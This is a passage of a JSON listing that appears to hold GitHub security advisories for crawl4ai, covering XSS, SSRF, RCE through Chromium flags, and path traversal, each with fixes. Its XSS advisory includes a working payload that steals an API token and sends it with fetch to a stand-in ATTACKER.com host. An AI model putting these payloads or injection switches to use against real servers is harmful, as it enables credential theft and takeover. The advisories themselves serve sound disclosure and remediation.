0.9.2","patched_versions":"0.9.3","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":null},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-918","name":"Server-Side Request Forgery"}],"cwe_ids":["CWE-918"],"credits":[{"login":"c240030","type":"reporter"}],"credits_detailed":[{"user":{"login":"c240030","id":185619948,"node_id":"U_kgDOCxBV7A","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/185619948?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/c240030","html_url":"https:\/\/github.com\/c240030","followers_url":"https:\/\/api.github.com\/users\/c240030\/followers","following_url":"https:\/\/api.github.com\/users\/c240030\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/c240030\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/c240030\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/c240030\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/c240030\/orgs","repos_url":"https:\/\/api.github.com\/users\/c240030\/repos","events_url":"https:\/\/api.github.com\/users\/c240030\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/c240030\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":null,"score":null}},{"ghsa_id":"GHSA-m446-hp3q-qfxp","cve_id":"CVE-2026-91944","url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-m446-hp3q-qfxp","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-m446-hp3q-qfxp","summary":"DOM-based XSS in Docker Playground UI leads to operator API-token theft","description":"# [SECURITY] DOM-based XSS in the Docker Playground UI \u2192 operator API-token theft \u2192 full server takeover\r\n\r\n**Component:** `deploy\/docker` \u2014 Playground UI (`deploy\/docker\/static\/playground\/index.html`)\r\n**Affected version:** confirmed on **0.9.2** (tag `v0.9.2`, commit `7e80152`). Present in the shipped Docker server UI.\r\n**Type:** CWE-79 DOM-based Cross-Site Scripting \u2192 CWE-522\/ATO (credential theft)\r\n**Severity:** High \u2014 arbitrary JS in the operator's authenticated session (no CSP check), leading to theft of the operator API token, phishing and impersonation.\r\n\r\n---\r\n\r\n## Summary\r\n\r\nThe Docker deployment's Playground (`\/playground`, and `\/` redirects to it) renders the crawl API\r\nresponse into a code block and then \"re-highlights\" it with a helper that performs a\r\n`textContent \u2192 innerHTML` round-trip. That round-trip **re-parses the response as HTML**. Because the\r\nresponse reflects attacker-controlled content from the crawled page, an attacker who gets the operator\r\nto crawl an attacker-influenced URL (the Playground's entire purpose) executes arbitrary JavaScript in\r\nthe operator's browser, on an origin that ships **no CSP**. The operator's API token lives in\r\n`sessionStorage['crawl4ai_token']` (JS-readable), so the XSS steals it. If that token is the admin\r\nstatic token, the attacker gains full control of the server API.\r\n\r\n## Root cause (source)\r\n\r\n`deploy\/docker\/static\/playground\/index.html`:\r\n- **The sink** \u2014 `forceHighlightElement()` (lines 972\u2013988) resets the element with:\r\n  ```js\r\n  const text = element.textContent;   \/\/ element holds JSON.stringify(crawl response)\r\n  element.innerHTML = text;            \/\/ line 980 \u2014 re-parses attacker HTML => executes\r\n  hljs.highlightElement(element);      \/\/ runs AFTER; the payload has already fired\r\n  ```\r\n- **The source** \u2014 the crawl response is rendered into that element and then the sink is invoked\r\n  (lines 822\u2013824, and the same pattern at 757 \/ 796):\r\n  ```js\r\n  document.querySelector('#response-content code').textContent = JSON.stringify(responseData, null, 2);\r\n  forceHighlightElement(document.querySelector('#response-content code'));\r\n  ```\r\n  `JSON.stringify` does not neutralize `<`\/`>`, so attacker markup reflected in the response survives\r\n  into `textContent`, and the `innerHTML = text` re-parse turns it into live, executing markup.\r\n- **No CSP on the UI** \u2014 `deploy\/docker\/server.py:359` `_UI_PREFIXES = (\"\/dashboard\", \"\/playground\",\r\n  \"\/static\")`; the strict CSP is applied only to non-UI paths (server.py:368\u2013369). Inline handlers run\r\n  and `fetch()` exfiltration is unrestricted.\r\n- **Token is JS-readable** \u2014 the operator token is stored in `sessionStorage['crawl4ai_token']`\r\n  (index.html:414 \/ 420 \/ 433).\r\n\r\n## Delivery vector (please note \u2014 the naive vector does NOT work)\r\n\r\nThe payload must survive the `JSON.stringify \u2192 textContent \u2192 innerHTML` round-trip.\r\n\r\n- An **attribute-based payload placed in the rendered `html` field does NOT execute**: the crawler's\r\n  Chromium re-serializes the page with **double-quoted** attributes (`onerror=\"\u2026\"`), and `JSON.stringify`\r\n  then escapes those quotes (`\"` \u2192 `\\\"`), which breaks the event handler on re-parse.\r\n- The reliable vector is a reflected **text** field \u2014 e.g. the crawled page's **`<title>`**, which\r\n  crawl4ai copies verbatim into `responseData.metadata.title`. An **unquoted or single-quoted**\r\n  `<img onerror=\u2026>` placed there survives `JSON.stringify` (single quotes are not escaped) and executes.\r\n  (Verified: unquoted \u2192 fires, single-quoted \u2192 fires, double-quoted \u2192 broken.)\r\n\r\n## Steps to reproduce\r\n\r\n1. Run the Docker server (default INSTALL_TYPE is sufficient) with an API token configured\r\n   (`CRAWL4AI_API_TOKEN=<token>`), bound to `127.0.0.1:11235`.\r\n2. Host an attacker page containing this HTML:\r\n   ```html\r\n<title>Blog: It's a sample exploit blog that triggers XSS!<svg onload='t=sessionStorage.getItem(`crawl4ai_token`),fetch(`http:\/\/ATTACKER.com\/steal?t=${encodeURIComponent(t)}`),alert(`Token *${t}* is compromised and sent to the attacker controlled page`)'><\/title>\r\n<p>\"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\"<\/p>\r\n   ```\r\n3. Open `http:\/\/127.0.0.1:11235\/playground`, enter the API token in the token bar (Save), paste the\r\n   attacker URL into the URL box, endpoint `\/crawl`, and click Run.\r\n4. Observe the payload execute in the operator session and the token arrive at the attacker collector.\r\n\r\nValidated end-to-end against a real 0.9.2 server: the operator's token was read from `sessionStorage`\r\nand exfiltrated to an attacker-controlled endpoint after a single crawl of the attacker page.\r\n\r\n## Impact\r\n\r\n- Arbitrary JavaScript execution in the operator's authenticated Playground session, on an origin with\r\n  no CSP (no inline\/`fetch` restrictions).\r\n- Theft of the operator API token from `sessionStorage`. When that token is the admin static token\r\n  (`CRAWL4AI_API_TOKEN`), the attacker obtains full API control \u2014 crawl\/SSRF surface, `\/config\/dump`\r\n  strategy sinks, an d destructive monitor actions \u2014 i.e. effective server takeover from a single\r\n  operator interaction.\r\n\r\n## Suggested fixes\r\n\r\n- Avoid inserting user input into unsafe sinks such as `innerHTML`. Remove the `element.innerHTML = element.textContent` reset (index.html:979\u2013980); let\r\n  `hljs.highlightElement(element)` render from `textContent` (it emits escaped markup), or run the\r\n  response through a real sanitizer before display.\r\n- Apply the strict CSP to the UI prefixes as well (externalize the inline scripts) so any future sink\r\n  is contained.\r\n- Contextually escape reflected response fields (`metadata.*`, etc.) before inserting them into the DOM.\r\n\r\n### Credit\r\nReported privately by e1codes","severity":"high","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-m446-hp3q-qfxp","type":"GHSA"},{"value":"CVE-2026-91944","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-10-06T14:25:30Z","published_at":"2026-08-31T12:16:13Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.2","patched_versions":"0.9.3","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":null},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation"}],"cwe_ids":["CWE-79"],"credits":[{"login":"e1codes","type":"reporter"}],"credits_detailed":[{"user":{"login":"e1codes","id":112739123,"node_id":"U_kgDOBrhDMw","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/112739123?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/e1codes","html_url":"https:\/\/github.com\/e1codes","followers_url":"https:\/\/api.github.com\/users\/e1codes\/followers","following_url":"https:\/\/api.github.com\/users\/e1codes\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/e1codes\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/e1codes\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/e1codes\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/e1codes\/orgs","repos_url":"https:\/\/api.github.com\/users\/e1codes\/repos","events_url":"https:\/\/api.github.com\/users\/e1codes\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/e1codes\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":null,"score":null}},{"ghsa_id":"GHSA-wm69-2pc3-rmmf","cve_id":"CVE-2026-57573","url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-wm69-2pc3-rmmf","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-wm69-2pc3-rmmf","summary":"Unauthenticated SSRF on the Docker server streaming crawl path (\/crawl\/stream)","description":"### Summary\n\nThe Docker API server applied its SSRF destination check (`validate_url_destination`) on the non-streaming `\/crawl` path but not on the streaming path. `handle_stream_crawl_request` passed seed URLs straight to the crawler with no destination validation. A remote, unauthenticated client could call `POST \/crawl\/stream` (or `POST \/crawl` with `crawler_config.stream=true`, which short-circuits to the same handler) with a URL pointing at an internal, private, or link-local address; the server fetched it and streamed the response body back. The Docker API is unauthenticated by default.\n\n### Affected paths\n\n`POST \/crawl\/stream`, and `POST \/crawl` with `crawler_config.stream=true` (both route to `handle_stream_crawl_request`, `deploy\/docker\/api.py`).\n\n### Impact\n\nUnauthenticated read server-side request forgery: an attacker reads internal-only services and cloud-metadata endpoints (e.g. `http:\/\/169.254.169.254\/` for IAM credentials), with the response body streamed back. This is the same class and severity as the project's prior \"SSRF via Direct Crawl Endpoints\" advisory; `\/crawl\/stream` is part of that endpoint family and was never covered by the destination check.\n\n### Fix\n\n`handle_stream_crawl_request` now validates every seed URL's destination with the same global-routability check as `handle_crawl_request`, before any fetch. The SSRF regression test was hardened to assert per-handler coverage (including the streaming handler) rather than a bare occurrence count, which previously let this gap pass.\n\n### Workarounds\n\n- Upgrade to the patched version (0.9.0).\n- Enable authentication and restrict who can reach the API (note: this does not constrain which URL the API fetches).\n- Restrict the container's outbound network access (egress firewall \/ no metadata route).\n\n### Credits\n\nKOH Jun Sheng - reported the streaming-path SSRF with a runnable PoC and noted the count-based regression test that masked it, plus the shared root cause with redirect\/deep-crawl link following.","severity":"high","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-wm69-2pc3-rmmf","type":"GHSA"},{"value":"CVE-2026-57573","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-06-29T19:06:11Z","published_at":"2026-06-18T11:45:28Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.8.9","patched_versions":"0.9.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:N\/A:N","score":8.6},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-918","name":"Server-Side Request Forgery"}],"cwe_ids":["CWE-918"],"credits":[{"login":"seankohjs","type":"reporter"}],"credits_detailed":[{"user":{"login":"seankohjs","id":145921214,"node_id":"U_kgDOCLKUvg","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/145921214?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/seankohjs","html_url":"https:\/\/github.com\/seankohjs","followers_url":"https:\/\/api.github.com\/users\/seankohjs\/followers","following_url":"https:\/\/api.github.com\/users\/seankohjs\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/seankohjs\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/seankohjs\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/seankohjs\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/seankohjs\/orgs","repos_url":"https:\/\/api.github.com\/users\/seankohjs\/repos","events_url":"https:\/\/api.github.com\/users\/seankohjs\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/seankohjs\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:N\/A:N","score":8.6}},{"ghsa_id":"GHSA-r253-r9jw-qg44","cve_id":"CVE-2026-57572","url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-r253-r9jw-qg44","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-r253-r9jw-qg44","summary":"Unauthenticated RCE via Chromium launch-argument injection in browser_config.extra_args","description":"### Summary\n\nThe Docker API server accepted a request-supplied `browser_config.extra_args`, which flowed into Chromium's launch arguments. An attacker could inject Chromium switches that replace a child-process launch command (`--utility-cmd-prefix`, `--renderer-cmd-prefix`, `--gpu-launcher`, `--browser-subprocess-path`) together with `--no-zygote`, causing Chromium to fork\/exec an attacker-controlled command as the container's runtime user. The Docker API is unauthenticated by default, so a single request yields arbitrary command execution.\n\nThe earlier `extra_args` SSRF patch (0.8.9) used a denylist scoped to proxy\/DNS flags; a denylist of launch switches is inherently incomplete, and these command-execution switches were not covered.\n\n### Affected paths\n\n`\/crawl`, `\/crawl\/stream`, `\/crawl\/job` accepting a request `browser_config.extra_args`.\n\n### Impact\n\nUnauthenticated remote code execution as the container runtime user; full read\/write of application data, mounted secrets, environment, and tokens, and out-of-band exfiltration independent of the HTTP response.\n\n### Fix\n\n0.9.0 establishes a trust boundary for request-supplied configuration: `extra_args` (along with other power fields such as `proxy`, `user_data_dir`, `cdp_url`, `init_scripts`) is a forbidden field for untrusted request bodies. Any request that sets `extra_args` is rejected with HTTP 400 rather than scrubbed against an always-incomplete denylist. In-process SDK callers (trusted) are unaffected.\n\n### Workarounds\n\n- Upgrade to the patched version (0.9.0).\n- Enable authentication (`CRAWL4AI_API_TOKEN`) and restrict who can reach the API.\n- Run the container with a restrictive seccomp profile and no ability to exec helper binaries.\n\n### Credits\n\nY4tacker - reported the `--no-zygote` + `--utility-cmd-prefix` command-injection chain with a confirmed in-container PoC and an allowlist\/reject recommendation.\nUDU_RisePho (hoanggxyuuki) - independently reported the request-supplied Chromium launch-flag RCE class (`--renderer-cmd-prefix`), confirmed still reproducing on 0.8.9.","severity":"critical","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-r253-r9jw-qg44","type":"GHSA"},{"value":"CVE-2026-57572","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-06-29T19:04:58Z","published_at":"2026-06-18T11:42:56Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.8.9","patched_versions":"0.9.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H","score":10},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-88","name":"Improper Neutralization of Argument Delimiters in a Command"},{"cwe_id":"CWE-94","name":"Improper Control of Generation of Code"}],"cwe_ids":["CWE-88","CWE-94"],"credits":[{"login":"hoanggxyuuki","type":"reporter"}],"credits_detailed":[{"user":{"login":"hoanggxyuuki","id":145022510,"node_id":"U_kgDOCKTeLg","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/145022510?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/hoanggxyuuki","html_url":"https:\/\/github.com\/hoanggxyuuki","followers_url":"https:\/\/api.github.com\/users\/hoanggxyuuki\/followers","following_url":"https:\/\/api.github.com\/users\/hoanggxyuuki\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/hoanggxyuuki\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/hoanggxyuuki\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/hoanggxyuuki\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/hoanggxyuuki\/orgs","repos_url":"https:\/\/api.github.com\/users\/hoanggxyuuki\/repos","events_url":"https:\/\/api.github.com\/users\/hoanggxyuuki\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/hoanggxyuuki\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H","score":10}},{"ghsa_id":"GHSA-2jq4-q6vv-4cp3","cve_id":"CVE-2026-57571","url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-2jq4-q6vv-4cp3","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-2jq4-q6vv-4cp3","summary":"Arbitrary file write (path traversal) in crawler downloads can lead to RCE","description":"### Summary\n\nWhen the crawler saves a downloaded file, the destination filename was taken from attacker-influenced input and joined to the downloads directory with no confinement. A filename containing an absolute path (e.g. `\/etc\/cron.d\/evil`) or `..\/` traversal escaped the downloads directory, giving an arbitrary file write with attacker-controlled contents. Because the written bytes are attacker-controlled, this escalates to remote code execution (overwriting a shell rc-file, `~\/.ssh\/authorized_keys`, a cron entry, or a Python module on the import path).\n\n### Affected paths\n\nTwo download sinks in `crawl4ai\/async_crawler_strategy.py`:\n- HTTP crawler (`AsyncHTTPCrawlerStrategy`): the filename is parsed from the response `Content-Disposition` header by `_extract_filename()` and written via `aiofiles.open(filepath, 'wb')`. Reachable directly via the SDK, and via the unauthenticated Docker `\/crawl` endpoint when an `HTTPCrawlerConfig` is supplied.\n- Browser crawler (`AsyncPlaywrightCrawlerStrategy`): the download's `suggested_filename` (controllable by the visited page) is joined to `downloads_path` and written via `download.save_as()`.\n\nThe HTTP-strategy sink is reachable pre-auth on the default Docker deployment; both are reachable for SDK users simply by crawling an attacker-controlled URL. The default Playwright crawl path that does not trigger a download is unaffected.\n\n### Impact\n\nArbitrary file write with attacker-controlled content as the user running the crawler, escalating to remote code execution.\n\n### Fix\n\nBoth sinks now resolve the destination through a single hardened helper (`_safe_download_filepath`) that reduces the attacker-influenced name to a bare basename (dropping absolute paths and `..` components) and re-checks, via `realpath`, that the resolved path stays inside the downloads root (defeating symlink\/TOCTOU escapes). A traversal attempt is rejected; normal downloads are unchanged.\n\n### Workarounds\n\n- Upgrade to the patched version (0.9.0).\n- Run the crawler as an unprivileged user with a dedicated, isolated downloads directory on a volume with no sensitive paths writable.\n- Enable authentication (`CRAWL4AI_API_TOKEN`) on the Docker server.\n\n### Credits\n\nY4tacker - reported the Content-Disposition path traversal in the HTTP crawler with a clear PoC and a basename + realpath-containment fix recommendation.","severity":"critical","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-2jq4-q6vv-4cp3","type":"GHSA"},{"value":"CVE-2026-57571","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-06-29T19:02:20Z","published_at":"2026-06-18T11:41:09Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.8.9","patched_versions":"0.9.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:H\/I:H\/A:H","score":9.6},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-22","name":"Improper Limitation of a Pathname to a Restricted Directory"},{"cwe_id":"CWE-59","name":"Improper Link Resolution Before File Access"}],"cwe_ids":["CWE-22","CWE-59"],"credits":[],"credits_detailed":[],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:H\/I:H\/A:H","score":9.6}},{"ghsa_id":"GHSA-6qhc-x826-342c","cve_id":"CVE-2026-53755","url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-6qhc-x826-342c","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-6qhc-x826-342c","summary":"SSRF via proxy settings in the Docker server bypasses the crawl-URL SSRF check","description":"### Summary\n\nThe Docker API server applied its SSRF destination check to the crawl target URL only, not to the proxy address. An unauthenticated request could supply a proxy pointing at an internal IP and route the browser through it, reaching internal services and cloud-metadata endpoints, while using a perfectly valid crawl URL. The Docker API is unauthenticated by default.\n\n### Affected paths\n\n`\/crawl`, `\/crawl\/stream`, and `\/crawl\/job` accept a `browser_config` (and `crawler_config`). The following all feed Chromium's egress and were unchecked:\n- `browser_config.proxy_config.server`\n- `browser_config.proxy` (deprecated field)\n- `crawler_config.proxy_config.server`\n- `--proxy-server` \/ `--proxy-pac-url` \/ `--proxy-bypass-list` \/ `--host-resolver-rules` flags in `browser_config.extra_args`\n\n### Attack\n\nAn attacker sends `\/crawl` with a benign, validation-passing URL but a `proxy_config.server` pointing at an internal IP. Chromium routes all requests through that proxy. For plain-HTTP targets the proxy receives the full request and can return any content, which is then returned verbatim in the crawl result (`results[0].html` \/ `cleaned_html` \/ `markdown`). In a real deployment the proxy would be an attacker-controlled server pointing at cloud metadata (e.g. AWS IMDSv1 at 169.254.169.254) to retrieve IAM credential tokens.\n\n### Impact\n\nUnauthenticated server-side request forgery to internal services and cloud-metadata endpoints, with the response returned to the attacker.\n\n### Fix\n\nEvery proxy destination is validated with the same global-routability check used for crawl URLs (reject any resolved address that is not `is_global`, including IPv6 transition forms) before the browser is constructed; proxy\/DNS-redirecting flags are stripped from `extra_args`. A legitimate public proxy still works. Honors `CRAWL4AI_ALLOW_INTERNAL_URLS`.\n\n### Workarounds\n\n- Upgrade to the patched version (0.8.9).\n- Enable authentication (`CRAWL4AI_API_TOKEN`).\n- Restrict the container's outbound network access (egress firewall \/ no metadata route).\n\n### Credits\n\nGeo ([geo-chen](https:\/\/github.com\/geo-chen)) - reported the proxy_config.server SSRF with a clear PoC.","severity":"high","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-6qhc-x826-342c","type":"GHSA"},{"value":"CVE-2026-53755","type":"CVE"}],"state":"published","created_at":null,"updated_at":"2026-06-10T18:47:45Z","published_at":"2026-06-04T08:37:00Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.8.8","patched_versions":"0.8.9","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:N\/A:N","score":8.6},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-918","name":"Server-Side Request Forgery"}],"cwe_ids":["CWE-918"],"credits":[{"login":"geo-chen","type":"reporter"}],"credits_detailed":[{"user":{"login":"geo-chen","id":2404584,"node_id":"MDQ6VXNlcjI0MDQ1ODQ=","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/2404584?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/geo-chen","html_url":"https:\/\/github.com\/geo-chen","followers_url":"https:\/\/api.github.com\/users\/geo-chen\/followers","following_url":"https:\/\/api.github.com\/users\/geo-chen\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/geo-chen\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/geo-chen\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/geo-chen\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/geo-chen\/orgs","repos_url":"https:\/\/api.github.com\/users\/geo-chen\/repos","events_url":"https:\/\/api.github.com\/users\/geo-chen\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/geo-chen\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":1,"cvss":{"vector_string":"CVSS